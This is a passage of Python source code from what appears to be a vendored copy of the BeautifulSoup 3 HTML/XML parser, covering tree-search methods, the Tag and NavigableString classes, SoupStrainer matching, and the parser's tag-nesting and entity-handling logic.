"""Returns the closest sibling to this Tag that matches the
given criteria and appears before this Tag in the document."""
return self._findOne(self.findPreviousSiblings, name, attrs, text,
**kwargs)
def findPreviousSiblings(self, name=None, attrs={}, text=None,
limit=None, **kwargs):
"""Returns the siblings of this Tag that match the given
criteria and appear before this Tag in the document."""
return self._findAll(name, attrs, text, limit,
self.previousSiblingGenerator, **kwargs)
fetchPreviousSiblings = findPreviousSiblings # Compatibility with pre-3.x
def findParent(self, name=None, attrs={}, **kwargs):
"""Returns the closest parent of this Tag that matches the given
criteria."""
# NOTE: We can't use _findOne because findParents takes a different
# set of arguments.
r = None
l = self.findParents(name, attrs, 1)
if l:
r = l[0]
return r
def findParents(self, name=None, attrs={}, limit=None, **kwargs):
"""Returns the parents of this Tag that match the given
criteria."""
return self._findAll(name, attrs, None, limit, self.parentGenerator,
**kwargs)
fetchParents = findParents # Compatibility with pre-3.x
#These methods do the real heavy lifting.
def _findOne(self, method, name, attrs, text, **kwargs):
r = None
l = method(name, attrs, text, 1, **kwargs)
if l:
r = l[0]
return r
def _findAll(self, name, attrs, text, limit, generator, **kwargs):
"Iterates over a generator looking for things that match."
if isinstance(name, SoupStrainer):
strainer = name
# (Possibly) special case some findAll*(...) searches
elif text is None and not limit and not attrs and not kwargs:
# findAll*(True)
if name is True:
return [element for element in generator()
if isinstance(element, Tag)]
# findAll*('tag-name')
elif isinstance(name, basestring):
return [element for element in generator()
if isinstance(element, Tag) and
element.name == name]
else:
strainer = SoupStrainer(name, attrs, text, **kwargs)
# Build a SoupStrainer
else:
strainer = SoupStrainer(name, attrs, text, **kwargs)
results = ResultSet(strainer)
g = generator()
while True:
try:
i = next(g)
except StopIteration:
break
if i:
found = strainer.search(i)
if found:
results.append(found)
if limit and len(results) >= limit:
break
return results
#These Generators can be used to navigate starting from both
#NavigableStrings and Tags.
def nextGenerator(self):
i = self
while i is not None:
i = i.next
yield i
def nextSiblingGenerator(self):
i = self
while i is not None:
i = i.nextSibling
yield i
def previousGenerator(self):
i = self
while i is not None:
i = i.previous
yield i
def previousSiblingGenerator(self):
i = self
while i is not None:
i = i.previousSibling
yield i
def parentGenerator(self):
i = self
while i is not None:
i = i.parent
yield i
# Utility methods
def substituteEncoding(self, str, encoding=None):
encoding = encoding or "utf-8"
return str.replace("%SOUP-ENCODING%", encoding)
def toEncoding(self, s, encoding=None):
"""Encodes an object to a string in some encoding, or to Unicode.
."""
if isinstance(s, text_type):
if encoding:
s = s.encode(encoding)
elif isinstance(s, binary_type):
s = s.encode(encoding or "utf8")
else:
s = self.toEncoding(str(s), encoding or "utf8")
return s
BARE_AMPERSAND_OR_BRACKET = re.compile(r"([<>]|&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;))")
def _sub_entity(self, x):
"""Used with a regular expression to substitute the
appropriate XML entity for an XML special character."""
return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";"
class NavigableString(text_type, PageElement):
def __new__(cls, value):
"""Create a new NavigableString.
When unpickling a NavigableString, this method is called with
the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be
passed in to the superclass's __new__ or the superclass won't know
how to handle non-ASCII characters.
"""
if isinstance(value, text_type):
return text_type.__new__(cls, value)
return text_type.__new__(cls, value, DEFAULT_OUTPUT_ENCODING)
def __getnewargs__(self):
return (NavigableString.__str__(self),)
def __getattr__(self, attr):
"""text.string gives you text. This is for backwards
compatibility for Navigable*String, but for CData* it lets you
get the string without the CData wrapper."""
if attr == 'string':
return self
else:
raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__.__name__, attr))
def __unicode__(self):
return str(self).decode(DEFAULT_OUTPUT_ENCODING)
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
# Substitute outgoing XML entities.
data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self)
if encoding:
return data.encode(encoding)
else:
return data
class CData(NavigableString):
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
return "<![CDATA[%s]]>" % NavigableString.__str__(self, encoding)
class ProcessingInstruction(NavigableString):
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
output = self
if "%SOUP-ENCODING%" in output:
output = self.substituteEncoding(output, encoding)
return "<?%s?>" % self.toEncoding(output, encoding)
class Comment(NavigableString):
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
return "<!--%s-->" % NavigableString.__str__(self, encoding)
class Declaration(NavigableString):
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
return "<!%s>" % NavigableString.__str__(self, encoding)
class Tag(PageElement):
"""Represents a found HTML tag with its attributes and contents."""
def _convertEntities(self, match):
"""Used in a call to re.sub to replace HTML, XML, and numeric
entities with the appropriate Unicode characters. If HTML
entities are being converted, any unrecognized entities are
escaped."""
try:
x = match.group(1)
if self.convertHTMLEntities and x in name2codepoint:
return unichr(name2codepoint[x])
elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS:
if self.convertXMLEntities:
return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]
else:
return u'&%s;' % x
elif len(x) > 0 and x[0] == '#':
# Handle numeric entities
if len(x) > 1 and x[1] == 'x':
return unichr(int(x[2:], 16))
else:
return unichr(int(x[1:]))
elif self.escapeUnrecognizedEntities:
return u'&%s;' % x
except ValueError: # e.g. ValueError: unichr() arg not in range(0x10000)
pass
return u'&%s;' % x
def __init__(self, parser, name, attrs=None, parent=None,
previous=None):
"Basic constructor."
# We don't actually store the parser object: that lets extracted
# chunks be garbage-collected
self.parserClass = parser.__class__
self.isSelfClosing = parser.isSelfClosingTag(name)
self.name = name
if attrs is None:
attrs = []
elif isinstance(attrs, dict):
attrs = attrs.items()
self.attrs = attrs
self.contents = []
self.setup(parent, previous)
self.hidden = False
self.containsSubstitutions = False
self.convertHTMLEntities = parser.convertHTMLEntities
self.convertXMLEntities = parser.convertXMLEntities
self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities
# Convert any HTML, XML, or numeric entities in the attribute values.
# Reference: https://github.com/pkrumins/xgoogle/pull/16/commits/3dba1165c436b0d6e5bdbd09e53ca0dbf8a043f8
convert = lambda k_val: (k_val[0],
re.sub(r"&(#\d+|#x[0-9a-fA-F]+|\w+);",
self._convertEntities,
k_val[1]))
self.attrs = map(convert, self.attrs)
def getString(self):
if (len(self.contents) == 1
and isinstance(self.contents[0], NavigableString)):
return self.contents[0]
def setString(self, string):
"""Replace the contents of the tag with a string"""
self.clear()
self.append(string)
string = property(getString, setString)
def getText(self, separator=u""):
if not len(self.contents):
return u""
stopNode = self._lastRecursiveChild().next
strings = []
current = self.contents[0]
while current and current is not stopNode:
if isinstance(current, NavigableString):
strings.append(current.strip())
current = current.next
return separator.join(strings)
text = property(getText)
def get(self, key, default=None):
"""Returns the value of the 'key' attribute for the tag, or
the value given for 'default' if it doesn't have that
attribute."""
return self._getAttrMap().get(key, default)
def clear(self):
"""Extract all children."""
for child in self.contents[:]:
child.extract()
def index(self, element):
for i, child in enumerate(self.contents):
if child is element:
return i
raise ValueError("Tag.index: element not in tag")
def has_key(self, key):
return self._getAttrMap().has_key(key)
def __getitem__(self, key):
"""tag[key] returns the value of the 'key' attribute for the tag,
and throws an exception if it's not there."""
return self._getAttrMap()[key]
def __iter__(self):
"Iterating over a tag iterates over its contents."
return iter(self.contents)
def __len__(self):
"The length of a tag is the length of its list of contents."
return len(self.contents)
def __contains__(self, x):
return x in self.contents
def __nonzero__(self):
"A tag is non-None even if it has no contents."
return True
def __setitem__(self, key, value):
"""Setting tag[key] sets the value of the 'key' attribute for the
tag."""
self._getAttrMap()
self.attrMap[key] = value
found = False
for i in xrange(0, len(self.attrs)):
if self.attrs[i][0] == key:
self.attrs[i] = (key, value)
found = True
if not found:
self.attrs.append((key, value))
self._getAttrMap()[key] = value
def __delitem__(self, key):
"Deleting tag[key] deletes all 'key' attributes for the tag."
for item in self.attrs:
if item[0] == key:
self.attrs.remove(item)
#We don't break because bad HTML can define the same
#attribute multiple times.
self._getAttrMap()
if self.attrMap.has_key(key):
del self.attrMap[key]
def __call__(self, *args, **kwargs):
"""Calling a tag like a function is the same as calling its
findAll() method. Eg. tag('a') returns a list of all the A tags
found within this tag."""
return self.findAll(*args, **kwargs)
def __getattr__(self, tag):
#print "Getattr %s.%s" % (self.__class__, tag)
if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3:
return self.find(tag[:-3])
elif tag.find('__') != 0:
return self.find(tag)
raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__, tag))
def __eq__(self, other):
"""Returns true iff this tag has the same name, the same attributes,
and the same contents (recursively) as the given tag.
NOTE: right now this will return false if two tags have the
same attributes in a different order. Should this be fixed?"""
if other is self:
return True
if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other):
return False
for i in xrange(0, len(self.contents)):
if self.contents[i] != other.contents[i]:
return False
return True
def __ne__(self, other):
"""Returns true iff this tag is not identical to the other tag,
as defined in __eq__."""
return not self == other
def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING):
"""Renders this tag as a string."""
return self.__str__(encoding)
def __unicode__(self):
return self.__str__(None)
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING,
prettyPrint=False, indentLevel=0):
"""Returns a string or Unicode representation of this tag and
its contents. To get Unicode, pass None for encoding.
NOTE: since Python's HTML parser consumes whitespace, this
method is not certain to reproduce the whitespace present in
the original string."""
encodedName = self.toEncoding(self.name, encoding)
attrs = []
if self.attrs:
for key, val in self.attrs:
fmt = '%s="%s"'
if isinstance(val, basestring):
if self.containsSubstitutions and '%SOUP-ENCODING%' in val:
val = self.substituteEncoding(val, encoding)
# The attribute value either:
#
# * Contains no embedded double quotes or single quotes.
# No problem: we enclose it in double quotes.
# * Contains embedded single quotes. No problem:
# double quotes work here too.
# * Contains embedded double quotes. No problem:
# we enclose it in single quotes.
# * Embeds both single _and_ double quotes. This
# can't happen naturally, but it can happen if
# you modify an attribute value after parsing
# the document. Now we have a bit of a
# problem. We solve it by enclosing the
# attribute in single quotes, and escaping any
# embedded single quotes to XML entities.
if '"' in val:
fmt = "%s='%s'"
if "'" in val:
# TODO: replace with apos when
# appropriate.
val = val.replace("'", "&squot;")
# Now we're okay w/r/t quotes. But the attribute
# value might also contain angle brackets, or
# ampersands that aren't part of entities. We need
# to escape those to XML entities too.
val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val)
attrs.append(fmt % (self.toEncoding(key, encoding),
self.toEncoding(val, encoding)))
close = ''
closeTag = ''
if self.isSelfClosing:
close = ' /'
else:
closeTag = '</%s>' % encodedName
indentTag, indentContents = 0, 0
if prettyPrint:
indentTag = indentLevel
space = (' ' * (indentTag-1))
indentContents = indentTag + 1
contents = self.renderContents(encoding, prettyPrint, indentContents)
if self.hidden:
s = contents
else:
s = []
attributeString = ''
if attrs:
attributeString = ' ' + ' '.join(attrs)
if prettyPrint:
s.append(space)
s.append('<%s%s%s>' % (encodedName, attributeString, close))
if prettyPrint:
s.append("\n")
s.append(contents)
if prettyPrint and contents and contents[-1] != "\n":
s.append("\n")
if prettyPrint and closeTag:
s.append(space)
s.append(closeTag)
if prettyPrint and closeTag and self.nextSibling:
s.append("\n")
s = ''.join(s)
return s
def decompose(self):
"""Recursively destroys the contents of this tree."""
self.extract()
if len(self.contents) == 0:
return
current = self.contents[0]
while current is not None:
next = current.next
if isinstance(current, Tag):
del current.contents[:]
current.parent = None
current.previous = None
current.previousSibling = None
current.next = None
current.nextSibling = None
current = next
def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING):
return self.__str__(encoding, True)
def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING,
prettyPrint=False, indentLevel=0):
"""Renders the contents of this tag as a string in the given
encoding. If encoding is None, returns a Unicode string.."""
s=[]
for c in self:
text = None
if isinstance(c, NavigableString):
text = c.__str__(encoding)
elif isinstance(c, Tag):
s.append(c.__str__(encoding, prettyPrint, indentLevel))
if text and prettyPrint:
text = text.strip()
if text:
if prettyPrint:
s.append(" " * (indentLevel-1))
s.append(text)
if prettyPrint:
s.append("\n")
return ''.join(s)
#Soup methods
def find(self, name=None, attrs={}, recursive=True, text=None,
**kwargs):
"""Return only the first child of this Tag matching the given
criteria."""
r = None
l = self.findAll(name, attrs, recursive, text, 1, **kwargs)
if l:
r = l[0]
return r
findChild = find
def findAll(self, name=None, attrs={}, recursive=True, text=None,
limit=None, **kwargs):
"""Extracts a list of Tag objects that match the given
criteria. You can specify the name of the Tag and any
attributes you want the Tag to have.
The value of a key-value pair in the 'attrs' map can be a
string, a list of strings, a regular expression object, or a
callable that takes a string and returns whether or not the
string matches for some custom definition of 'matches'. The
same is true of the tag name."""
generator = self.recursiveChildGenerator
if not recursive:
generator = self.childGenerator
return self._findAll(name, attrs, text, limit, generator, **kwargs)
findChildren = findAll
# Pre-3.x compatibility methods
first = find
fetch = findAll
def fetchText(self, text=None, recursive=True, limit=None):
return self.findAll(text=text, recursive=recursive, limit=limit)
def firstText(self, text=None, recursive=True):
return self.find(text=text, recursive=recursive)
#Private methods
def _getAttrMap(self):
"""Initializes a map representation of this tag's attributes,
if not already initialized."""
if not getattr(self, 'attrMap'):
self.attrMap = {}
for (key, value) in self.attrs:
self.attrMap[key] = value
return self.attrMap
#Generator methods
def childGenerator(self):
# Just use the iterator from the contents
return iter(self.contents)
def recursiveChildGenerator(self):
if not len(self.contents):
return # Note: https://stackoverflow.com/a/30217723 (PEP 479)
stopNode = self._lastRecursiveChild().next
current = self.contents[0]
while current and current is not stopNode:
yield current
current = current.next
# Next, a couple classes to represent queries and their results.
class SoupStrainer:
"""Encapsulates a number of ways of matching a markup element (tag or
text)."""
def __init__(self, name=None, attrs={}, text=None, **kwargs):
self.name = name
if isinstance(attrs, basestring):
kwargs['class'] = _match_css_class(attrs)
attrs = None
if kwargs:
if attrs:
attrs = attrs.copy()
attrs.update(kwargs)
else:
attrs = kwargs
self.attrs = attrs
self.text = text
def __str__(self):
if self.text:
return self.text
else:
return "%s|%s" % (self.name, self.attrs)
def searchTag(self, markupName=None, markupAttrs={}):
found = None
markup = None
if isinstance(markupName, Tag):
markup = markupName
markupAttrs = markup
callFunctionWithTagData = callable(self.name) \
and not isinstance(markupName, Tag)
if (not self.name) \
or callFunctionWithTagData \
or (markup and self._matches(markup, self.name)) \
or (not markup and self._matches(markupName, self.name)):
if callFunctionWithTagData:
match = self.name(markupName, markupAttrs)
else:
match = True
markupAttrMap = None
for attr, matchAgainst in self.attrs.items():
if not markupAttrMap:
if hasattr(markupAttrs, 'get'):
markupAttrMap = markupAttrs
else:
markupAttrMap = {}
for k,v in markupAttrs:
markupAttrMap[k] = v
attrValue = markupAttrMap.get(attr)
if not self._matches(attrValue, matchAgainst):
match = False
break
if match:
if markup:
found = markup
else:
found = markupName
return found
def search(self, markup):
#print 'looking for %s in %s' % (self, markup)
found = None
# If given a list of items, scan it for a text element that
# matches.
if hasattr(markup, "__iter__") \
and not isinstance(markup, Tag):
for element in markup:
if isinstance(element, NavigableString) \
and self.search(element):
found = element
break
# If it's a Tag, make sure its name or attributes match.
# Don't bother with Tags if we're searching for text.
elif isinstance(markup, Tag):
if not self.text:
found = self.searchTag(markup)
# If it's text, make sure the text matches.
elif isinstance(markup, NavigableString) or \
isinstance(markup, basestring):
if self._matches(markup, self.text):
found = markup
else:
raise Exception("I don't know how to match against a %s" \
% markup.__class__)
return found
def _matches(self, markup, matchAgainst):
#print "Matching %s against %s" % (markup, matchAgainst)
result = False
if matchAgainst is True:
result = markup is not None
elif callable(matchAgainst):
result = matchAgainst(markup)
else:
#Custom match methods take the tag as an argument, but all
#other ways of matching match the tag name as a string.
if isinstance(markup, Tag):
markup = markup.name
if markup and not isinstance(markup, basestring):
markup = text_type(markup)
#Now we know that chunk is either a string, or None.
if hasattr(matchAgainst, 'match'):
# It's a regexp object.
result = markup and matchAgainst.search(markup)
elif hasattr(matchAgainst, '__iter__'): # list-like
result = markup in matchAgainst
elif hasattr(matchAgainst, 'items'):
result = markup.has_key(matchAgainst)
elif matchAgainst and isinstance(markup, basestring):
if isinstance(markup, text_type):
matchAgainst = text_type(matchAgainst)
else:
matchAgainst = str(matchAgainst)
if not result:
result = matchAgainst == markup
return result
class ResultSet(list):
"""A ResultSet is just a list that keeps track of the SoupStrainer
that created it."""
def __init__(self, source):
list.__init__([])
self.source = source
# Now, some helper functions.
def buildTagMap(default, *args):
"""Turns a list of maps, lists, or scalars into a single map.
Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and
NESTING_RESET_TAGS maps out of lists and partial maps."""
built = {}
for portion in args:
if hasattr(portion, 'items'):
#It's a map. Merge it.
for k,v in portion.items():
built[k] = v
elif hasattr(portion, '__iter__'): # is a list
#It's a list. Map each item to the default.
for k in portion:
built[k] = default
else:
#It's a scalar. Map it to the default.
built[portion] = default
return built
# Now, the parser classes.
class BeautifulStoneSoup(Tag, sgmllib.SGMLParser):
"""This class contains the basic parser and search code. It defines
a parser that knows nothing about tag behavior except for the
following:
You can't close a tag without closing all the tags it encloses.
That is, "<foo><bar></foo>" actually means
"<foo><bar></bar></foo>".
[Another possible explanation is "<foo><bar /></foo>", but since
this class defines no SELF_CLOSING_TAGS, it will never use that
explanation.]
This class is useful for parsing XML or made-up markup languages,
or when BeautifulSoup makes an assumption counter to what you were
expecting."""
SELF_CLOSING_TAGS = {}
NESTABLE_TAGS = {}
RESET_NESTING_TAGS = {}
QUOTE_TAGS = {}
PRESERVE_WHITESPACE_TAGS = []
MARKUP_MASSAGE = [(re.compile(r'(<[^<>]*)/>'),
lambda x: x.group(1) + ' />'),
(re.compile(r'<!\s+([^<>]*)>'),
lambda x: '<!' + x.group(1) + '>')
]
ROOT_TAG_NAME = u'[document]'
HTML_ENTITIES = "html"
XML_ENTITIES = "xml"
XHTML_ENTITIES = "xhtml"
# TODO: This only exists for backwards-compatibility
ALL_ENTITIES = XHTML_ENTITIES
# Used when determining whether a text node is all whitespace and
# can be replaced with a single space. A text node that contains
# fancy Unicode spaces (usually non-breaking) should be left
# alone.
STRIP_ASCII_SPACES = { 9: None, 10: None, 12: None, 13: None, 32: None, }
def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None,
markupMassage=True, smartQuotesTo=XML_ENTITIES,
convertEntities=None, selfClosingTags=None, isHTML=False):
"""The Soup object is initialized as the 'root tag', and the
provided markup (which can be a string or a file-like object)
is fed into the underlying parser.
sgmllib will process most bad HTML, and the BeautifulSoup
class has some tricks for dealing with some HTML that kills
sgmllib, but Beautiful Soup can nonetheless choke or lose data
if your data uses self-closing tags or declarations
incorrectly.
By default, Beautiful Soup uses regexes to sanitize input,
avoiding the vast majority of these problems. If the problems
don't apply to you, pass in False for markupMassage, and
you'll get better performance.
The default parser massage techniques fix the two most common
instances of invalid HTML that choke sgmllib:
<br/> (No space between name of closing tag and tag close)
<! --Comment--> (Extraneous whitespace in declaration)
You can pass in a custom list of (RE object, replace method)
tuples to get Beautiful Soup to scrub your input the way you
want."""
self.parseOnlyThese = parseOnlyThese
self.fromEncoding = fromEncoding
self.smartQuotesTo = smartQuotesTo
self.convertEntities = convertEntities
# Set the rules for how we'll deal with the entities we
# encounter
if self.convertEntities:
# It doesn't make sense to convert encoded characters to
# entities even while you're converting entities to Unicode.
# Just convert it all to Unicode.
self.smartQuotesTo = None
if convertEntities == self.HTML_ENTITIES:
self.convertXMLEntities = False
self.convertHTMLEntities = True
self.escapeUnrecognizedEntities = True
elif convertEntities == self.XHTML_ENTITIES:
self.convertXMLEntities = True
self.convertHTMLEntities = True
self.escapeUnrecognizedEntities = False
elif convertEntities == self.XML_ENTITIES:
self.convertXMLEntities = True
self.convertHTMLEntities = False
self.escapeUnrecognizedEntities = False
else:
self.convertXMLEntities = False
self.convertHTMLEntities = False
self.escapeUnrecognizedEntities = False
self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags)
sgmllib.SGMLParser.__init__(self)
if hasattr(markup, 'read'): # It's a file-type object.
markup = markup.read()
self.markup = markup
self.markupMassage = markupMassage
try:
self._feed(isHTML=isHTML)
except StopParsing:
pass
self.markup = None # The markup can now be GCed
def convert_charref(self, name):
"""This method fixes a bug in Python's SGMLParser."""
try:
n = int(name)
except ValueError:
return
if not 0 <= n <= 127 : # ASCII ends at 127, not 255
return
return self.convert_codepoint(n)
def _feed(self, inDocumentEncoding=None, isHTML=False):
# Convert the document to Unicode.
markup = self.markup
if isinstance(markup, text_type):
if not hasattr(self, 'originalEncoding'):
self.originalEncoding = None
else:
dammit = UnicodeDammit\
(markup, [self.fromEncoding, inDocumentEncoding],
smartQuotesTo=self.smartQuotesTo, isHTML=isHTML)
markup = dammit.unicode
self.originalEncoding = dammit.originalEncoding
self.declaredHTMLEncoding = dammit.declaredHTMLEncoding
if markup:
if self.markupMassage:
if not hasattr(self.markupMassage, "__iter__"):
self.markupMassage = self.MARKUP_MASSAGE
for fix, m in self.markupMassage:
markup = fix.sub(m, markup)
# TODO: We get rid of markupMassage so that the
# soup object can be deepcopied later on. Some
# Python installations can't copy regexes. If anyone
# was relying on the existence of markupMassage, this
# might cause problems.
del(self.markupMassage)
self.reset()
sgmllib.SGMLParser.feed(self, markup)
# Close out any unfinished strings and close all the open tags.
self.endData()
while self.currentTag.name != self.ROOT_TAG_NAME:
self.popTag()
def __getattr__(self, methodName):
"""This method routes method call requests to either the SGMLParser
superclass or the Tag superclass, depending on the method name."""
#print "__getattr__ called on %s.%s" % (self.__class__, methodName)
if methodName.startswith('start_') or methodName.startswith('end_') \
or methodName.startswith('do_'):
return sgmllib.SGMLParser.__getattr__(self, methodName)
elif not methodName.startswith('__'):
return Tag.__getattr__(self, methodName)
else:
raise AttributeError
def isSelfClosingTag(self, name):
"""Returns true iff the given string is the name of a
self-closing tag according to this parser."""
return name in self.SELF_CLOSING_TAGS \
or name in self.instanceSelfClosingTags
def reset(self):
Tag.__init__(self, self, self.ROOT_TAG_NAME)
self.hidden = 1
sgmllib.SGMLParser.reset(self)
self.currentData = []
self.currentTag = None
self.tagStack = []
self.quoteStack = []
self.pushTag(self)
def popTag(self):
tag = self.tagStack.pop()
#print "Pop", tag.name
if self.tagStack:
self.currentTag = self.tagStack[-1]
return self.currentTag
def pushTag(self, tag):
#print "Push", tag.name
if self.currentTag:
self.currentTag.contents.append(tag)
self.tagStack.append(tag)
self.currentTag = self.tagStack[-1]
def endData(self, containerClass=NavigableString):
if self.currentData:
currentData = u''.join(self.currentData)
if (currentData.translate(self.STRIP_ASCII_SPACES) == '' and
not set([tag.name for tag in self.tagStack]).intersection(
self.PRESERVE_WHITESPACE_TAGS)):
if '\n' in currentData:
currentData = '\n'
else:
currentData = ' '
self.currentData = []
if self.parseOnlyThese and len(self.tagStack) <= 1 and \
(not self.parseOnlyThese.text or \
not self.parseOnlyThese.search(currentData)):
return
o = containerClass(currentData)
o.setup(self.currentTag, self.previous)
if self.previous:
self.previous.next = o
self.previous = o
self.currentTag.contents.append(o)
def _popToTag(self, name, inclusivePop=True):
"""Pops the tag stack up to and including the most recent
instance of the given tag. If inclusivePop is false, pops the tag
stack up to but *not* including the most recent instqance of
the given tag."""
#print "Popping to %s" % name
if name == self.ROOT_TAG_NAME:
return
numPops = 0
mostRecentTag = None
for i in xrange(len(self.tagStack)-1, 0, -1):
if name == self.tagStack[i].name:
numPops = len(self.tagStack)-i
break
if not inclusivePop:
numPops = numPops - 1
for i in xrange(0, numPops):
mostRecentTag = self.popTag()
return mostRecentTag
def _smartPop(self, name):
"""We need to pop up to the previous tag of this type, unless
one of this tag's nesting reset triggers comes between this
tag and the previous tag of this type, OR unless this tag is a
generic nesting trigger and another generic nesting trigger
comes between this tag and the previous tag of this type.
Examples:
<p>Foo<b>Bar *<p>* should pop to 'p', not 'b'.
<p>Foo<table>Bar *<p>* should pop to 'table', not 'p'.
<p>Foo<table><tr>Bar *<p>* should pop to 'tr', not 'p'.
<li><ul><li> *<li>* should pop to 'ul', not the first 'li'.
<tr><table><tr> *<tr>* should pop to 'table', not the first 'tr'
<td><tr><td> *<td>* should pop to 'tr', not the first 'td'
"""
nestingResetTriggers = self.NESTABLE_TAGS.get(name)
isNestable = nestingResetTriggers != None
isResetNesting = name in self.RESET_NESTING_TAGS
popTo = None
inclusive = True
for i in xrange(len(self.tagStack)-1, 0, -1):
p = self.tagStack[i]
if (not p or p.name == name) and not isNestable:
#Non-nestable tags get popped to the top or to their
#last occurance.
popTo = name
break
if (nestingResetTriggers is not None
and p.name in nestingResetTriggers) \
or (nestingResetTriggers is None and isResetNesting
and p.name in self.RESET_NESTING_TAGS):
#If we encounter one of the nesting reset triggers
#peculiar to this tag, or we encounter another tag
#that causes nesting to reset, pop up to but not
#including that tag.
popTo = p.name
inclusive = False
break
p = p.parent
if popTo:
self._popToTag(popTo, inclusive)
def unknown_starttag(self, name, attrs, selfClosing=0):
#print "Start tag %s: %s" % (name, attrs)
if self.quoteStack:
#This is not a real tag.
#print "<%s> is not real!" % name
attrs = ''.join([' %s="%s"' % (x, y) for x, y in attrs])
self.handle_data('<%s%s>' % (name, attrs))
return
self.endData()
if not self.isSelfClosingTag(name) and not selfClosing:
self._smartPop(name)
if self.parseOnlyThese and len(self.tagStack) <= 1 \
and (self.parseOnlyThese.text or not self.parseOnlyThese.searchTag(name, attrs)):
return
tag = Tag(self, name, attrs, self.currentTag, self.previous)
if self.previous:
self.previous.next = tag
self.previous = tag
self.pushTag(tag)
if selfClosing or self.isSelfClosingTag(name):
self.popTag()
if name in self.QUOTE_TAGS:
#print "Beginning quote (%s)" % name
self.quoteStack.append(name)
self.literal = 1
return tag
def unknown_endtag(self, name):
#print "End tag %s" % name
if self.quoteStack and self.quoteStack[-1] != name:
#This is not a real end tag.
#print "</%s> is not real!" % name
self.handle_data('</%s>' % name)
return
self.endData()
self._popToTag(name)
if self.quoteStack and self.quoteStack[-1] == name:
self.quoteStack.pop()
self.literal = (len(self.quoteStack) > 0)
def handle_data(self, data):
self.currentData.append(data)
def _toStringSubclass(self, text, subclass):
"""Adds a certain piece of text to the tree as a NavigableString
subclass."""
self.endData()
self.handle_data(text)
self.endData(subclass)
def handle_pi(self, text):
"""Handle a processing instruction as a ProcessingInstruction
object, possibly one with a %SOUP-ENCODING% slot into which an
encoding will be plugged later."""
if text[:3] == "xml":
text = u"xml version='1.0' encoding='%SOUP-ENCODING%'"
self._toStringSubclass(text, ProcessingInstruction)
def handle_comment(self, text):
"Handle comments as Comment objects."
self._toStringSubclass(text, Comment)
def handle_charref(self, ref):
"Handle character references as data."
if self.convertEntities:
data = unichr(int(ref))
else:
data = '&#%s;' % ref
self.handle_data(data)
def handle_entityref(self, ref):
"""Handle entity references as data, possibly converting known
HTML and/or XML entity references to the corresponding Unicode
characters."""
data = None
if self.convertHTMLEntities:
try:
data = unichr(name2codepoint[ref])
except KeyError:
pass
if not data and self.convertXMLEntities:
data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref)
if not data and self.convertHTMLEntities and \
not self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref):
# TODO: We've got a problem here. We're told this is
# an entity reference, but it's not an XML entity
# reference or an HTML entity reference. Nonetheless,
# the logical thing to do is to pass it through as an
# unrecognized entity reference.
#
# Except: when the input is "&carol;" this function
# will be called with input "carol". When the input is
# "AT&T", this function will be called with input
# "T". We have no way of knowing whether a semicolon
# was present originally, so we don't know whether
# this is an unknown entity or just a misplaced
# ampersand.
#
# The more common case is a misplaced ampersand, so I
# escape the ampersand and omit the trailing semicolon.
data = "&%s" % ref
if not data:
# This case is different from the one above, because we
# haven't already gone through a supposedly comprehensive
# mapping of entities to Unicode characters. We might not
# have gone through any mapping at all. So the chances are
# very high that this is a real entity, and not a
# misplaced ampersand.
data = "&%s;" % ref
self.handle_data(data)
def handle_decl(self, data):
"Handle DOCTYPEs and the like as Declaration objects."
self._toStringSubclass(data, Declaration)
def parse_declaration(self, i):
"""Treat a bogus SGML declaration as raw data. Treat a CDATA
declaration as a CData object."""
j = None
if self.rawdata[i:i+9] == '<![CDATA[':
k = self.rawdata.find(']]>', i)
if k == -1:
k = len(self.rawdata)
data = self.rawdata[i+9:k]
j = k+3
self._toStringSubclass(data, CData)
else:
try:
j = sgmllib.SGMLParser.parse_declaration(self, i)
except sgmllib.SGMLParseError:
toHandle = self.rawdata[i:]
self.handle_data(toHandle)
j = i + len(toHandle)
return j
class BeautifulSoup(BeautifulStoneSoup):
"""This parser knows the following facts about HTML:
* Some tags have no closing tag and should be interpreted as being
closed as soon as they are encountered.
* The text inside some tags (ie. 'script') may contain tags which
are not really part of the document and which should be parsed
as text, not tags. If you want to parse the text as tags, you can
always fetch it and parse it explicitly.
* Tag nesting rules:
Most tags can't be nested at all. For instance, the occurance of
a <p> tag should implicitly close the previous <p> tag.
<p>Para1<p>Para2
should be transformed into:
<p>Para1</p><p>Para2
Some tags can be nested arbitrarily. For instance, the occurance
of a <blockquote> tag should _not_ implicitly close the previous
<blockquote> tag.
Alice said: <blockquote>Bob said: <blockquote>Blah
should NOT be transformed into:
Alice said: <blockquote>Bob said: </blockquote><blockquote>Blah
Some tags can be nested, but the nesting is reset by the
interposition of other tags. For instance, a <tr> tag should
implicitly close the previous <tr> tag within the same <table>,
but not close a <tr> tag in another table.
<table><tr>Blah<tr>Blah
should be transformed into:
<table><tr>Blah</tr><tr>Blah
but,
<tr>Blah<table><tr>Blah
should NOT be transformed into
<tr>Blah<table></tr><tr>Blah
Differing assumptions about tag nesting rules are a major source
of problems with the BeautifulSoup class. If BeautifulSoup is not
treating as nestable a tag your page author treats as nestable,
try ICantBelieveItsBeautifulSoup, MinimalSoup, or
